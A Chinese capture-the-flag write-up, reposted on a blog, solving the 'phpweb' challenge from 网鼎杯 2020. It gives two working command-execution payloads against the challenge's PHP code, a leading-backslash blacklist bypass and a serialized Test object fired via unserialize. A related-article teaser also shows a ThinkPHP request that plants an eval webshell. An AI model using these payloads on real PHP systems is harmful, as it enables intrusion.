[网鼎杯 2020 朱雀组]phpweb

news2024/11/19 4:14:08

目录

信息收集

方法一:in_array()函数绕过

方法二:反序列化漏洞利用


信息收集

抓个包,发现POST传入以下内容

func=date&p=Y-m-d+h%3Ai%3As+a

func和p的值分别为一个待执行的函数和函数的参数 

构造payload

尝试func=phpinfo&p= 回显   Hacker... 说明对该函数进行了过滤

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'phpinfo()' not found or invalid function name in /var/www/html/index.php on line 24

回显发现有个/var/www/html/index.php,尝试读取该文件

 常见的读取文件的函数

<?php
// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;
// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;
// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;
// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;
// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组,所以需要用 print_r 或 var_dump 
echo PHP_EOL;
// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;
// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;
// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;
?>

构造payload

func=readfile&p=index.php

   <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

方法一:in_array()函数绕过

<?php
$func='\system';
$p='whoami';
echo call_user_func($func, $p);
?>

<?php
echo \system("whoami");
?>

func=\system&p=cat $(find / -name flag*)

 

方法二:反序列化漏洞利用

未禁用 unserialize,我们可以通过call_user_func来unserialize反序列化构建出Test类,当类被回收时执行gettime函数,通过控制类中p和func的值配合call_user_func实现命令执行。

call_user_func()函数,会对我们传入的参数进行命令(代码)执行

system("find / -name flag*"):查找所有文件名匹配flag*的文件

system("cat $(find / -name flag)"):打印所有文件名匹配flag*的文件

<?php 
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a= gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}
class Test {
    var $p = "cat $(find / -name flag*)";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a = new Test();
echo serialize($a);
 ?>

payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149153.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【学习笔记之Linux】权限

权限概念 一件事是否允许被谁“做”&#xff0c;这就是权限。权限 用户 文件属性。   在Linux上&#xff0c;用户分为普通用户和root。root是超级管理员 ≈ 天王老子&#xff0c;只能够有一个。root的命令提示符是#&#xff1b;普通用户通过root创建&#xff0c;可以有多个…

【案例教程】地下水环评(一级)实践技术及Modflow地下水数值模拟

【前沿】地下水数值模拟技术应用与地下水环评报告编制方法实践线上直播课程&#xff0c;主要围绕的环评导则&#xff0c;结合不同行业类别&#xff0c;实例讲解地下水环境影响评价的原则、内容、工作程序、方法。包括数据处理分析、数值模型构建以及环评报告编写等。涉及地下水…

【自学C++】C++ int

C int C int教程 C 中的 int 用来表示一个 整数&#xff0c;也可以叫做整型&#xff0c;int 的取值范围是介于 short 和 long 之间的。 C int定义详解 语法 int varname value;参数 参数描述int定义 int 类型变量使用的类型。varname变量名。value可选&#xff0c;变量的…

Linux应用编程---9.消息队列

Linux应用编程—9.消息队列 ​ 消息队列用于进程之间的通讯&#xff0c;可以在如父子进程、兄弟进程这样的具有亲缘关系的进程之间传递数据&#xff0c;也可以用于具有非亲缘关系的进程之间通讯。消息队列可以传递结构体&#xff0c;所以可以发送任意数据类型。与消息队列有关…

数据结构(一)——链表

链表与邻接表 介绍 链表作为一种基础数据结构&#xff0c;具有几个特点&#xff1a; 优点&#xff1a;插入、删除非常快&#xff08;需要知道需要插入和删除节点前一个位置&#xff09;缺点&#xff1a;查询、访问&#xff08;用索引&#xff09;非常的慢 链表的创建方法一…

Selenium用法详解【cookies操作】【JAVA爬虫】

简介本文主要讲解java代码利用Selenium控制浏览器获取网站的cookies,对网站cookies的相关操作教程。cookies操作cookies 是识别用户登录与否的关键&#xff0c;爬虫中常常使用 selenium jsoup 实现 cookie持久化&#xff0c;即先用 selenium 模拟登陆获取 cookie &#xff0c;…

你可能从未想过的:人工智能未来50年的安全领域问题

前言 随着人工智能技术的普及和发展&#xff0c;很多人工智能出现的故障和问题也会愈发明显。本文简单讲述了未来50年人工智能发展过程中可能会出现的景象和问题。 一、人工智能独立 尽管很可能第一批人工智能是由人类发明制作的&#xff0c;但随着大量基础设施的完善&#x…

javaweb-会话技术CookieSession

文章目录会话技术Cookie&Session1&#xff0c;会话跟踪技术的概述2&#xff0c;Cookie2.1 Cookie的基本使用2.2 Cookie的原理分析2.3 Cookie的使用细节2.3.1 Cookie的存活时间2.3.2 Cookie存储中文3&#xff0c;Session3.1 Session的基本使用3.2 Session的原理分析3.3 Sess…

4.8、网际控制报文协议 ICMP

为了更有效地转发 IP 数据报和提高交付成功的机会 在网际层使用了网际控制报文协议 ICMP(Internet Control Message Protocol)。 主机或路由器使用 ICMP 来发送 差错报告报文\color{red}差错报告报文差错报告报文和询问报文\color{red}询问报文询问报文。 ICMP报文被封装在IP…

基于采样的规划算法之动态窗口法(DWA)

动态规划将一个多步决策问题拆分成若干子问题,并且保证子问题的最优解能推出完整问题的最优解。所以,动态规划可以得到采样空间下的最优路径解。本章介绍的动态窗口法(Dynamic Window Approach, DWA)与动态规划类似,也是将从起点到终点的多步决策问题拆分成一系列子问题—…

Linux应用编程---1.线程与进程

Linux应用编程—1.线程与进程 1 重要概念 1.1 程序 ​ 程序指的是还没有运行起来的源代码&#xff0c;比如电脑上安装的“Keil MDK”、“Xshell”等等。 1.2 进程 ​ Win10环境下&#xff0c;打开任务管理器&#xff0c;能看到有“进程”一栏&#xff0c;点击进去能看到5个…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

QT-5.12: QSqlDatabase: QMYSQL driver not loaded 错误及解决方案

错误现象及原因&#xff1a; &#xff08;1&#xff09;qt SQL模块已默认不编译mysql驱动&#xff0c;导致mysql驱动缺失&#xff0c;错误提示如下&#xff08;可用数数据库驱动不含mysql驱动&#xff0c;执行方法一和二&#xff09;&#xff1b; &#xff08;2&#xff09;已…

C++新基础类型long long, char8_t, char16_t, char32_t

C新基础类型long long, char8_t, char16_t, char32_t一、整数类型 long long二、新字符类型 char16_t 和 char32_t三、char8_t 字符类型一、整数类型 long long 我们知道long通常表示一个32位整型&#xff0c;而long long则是用来表示一个64位的整型。 C标准中定义&#xff0…

vue3包依赖关系

包reactivity &#xff1a;响应式API&#xff0c;例如toRef、reactive、Effect、computed、watch等&#xff0c;可作为与框架无关的包&#xff0c;独立构建runtime-core&#xff1a;平台无关的运行时核心代码。包括虚拟dom渲染、组件实现和JavaScript API。可以使用这个包针对特…

机器学习实战教程(十一):线性回归基础篇

一、前言前面的文章介绍了很多分类算法&#xff0c;分类的目标变量是标称型数据&#xff0c;而本文将会对连续型的数据做出预测。主要讲解简单的线性回归和局部加权线性回归&#xff0c;并通过预测鲍鱼年龄的实例进行实战演练。二、什么是回归&#xff1f;回归的目的是预测数值…

Java学习笔记——继承(下)

目录继承中构造方法的访问特点构造方法的访问特点-父类没有空参构造方法代码优化和内存图解xx信息管理系统-集成改进抽象类入门抽象类的注意事项模板设计模式final关键字xx信息管理系统——抽象类改进代码块xx信息管理系统-代码块改进继承中构造方法的访问特点 子类再初始化之…

汽车电子行业入门指南「2022年国内主要新能源车销量」

汽车电子行业入门指南 雪云飞星 2022年国内主要新能源车销量 2022年汽车行业内的人们可谓是经历了很多&#xff1a;4月上海疫情、华为携问界的强势入局、年底取消新能源免购置税等等。对于博主而言也算人生一个小阶段&#xff0c;年底离开了曾经奋斗的某为&#xff0c;翻开了…

序列傅里叶变换

序列傅里叶变换定义 序列傅里叶变换 (DFT) 是一种数学变换&#xff0c;它将一个有限长度的序列转换为其频谱表示。它使用一个复数数组表示序列的频谱&#xff0c;其中每个元素表示对应的频率成分的幅度和相位。 DFT 的公式为&#xff1a; X[k] ∑n0 to N-1 x[n] * e^(-j2πkn/…

Unreal UCLASS常用的类标记宏

BlueprintType,使当前类可以作为蓝图中的类型使用。新建一个继承UObject的C类CustomObject:UObject默认是无法作为蓝图中的类型使用的,打开关卡蓝图,声明一个CustomObject变量:可以看到,这里无法声明CustomObject类型的变量,我们为CustomObject添加BlueprintType标记宏:这样我们…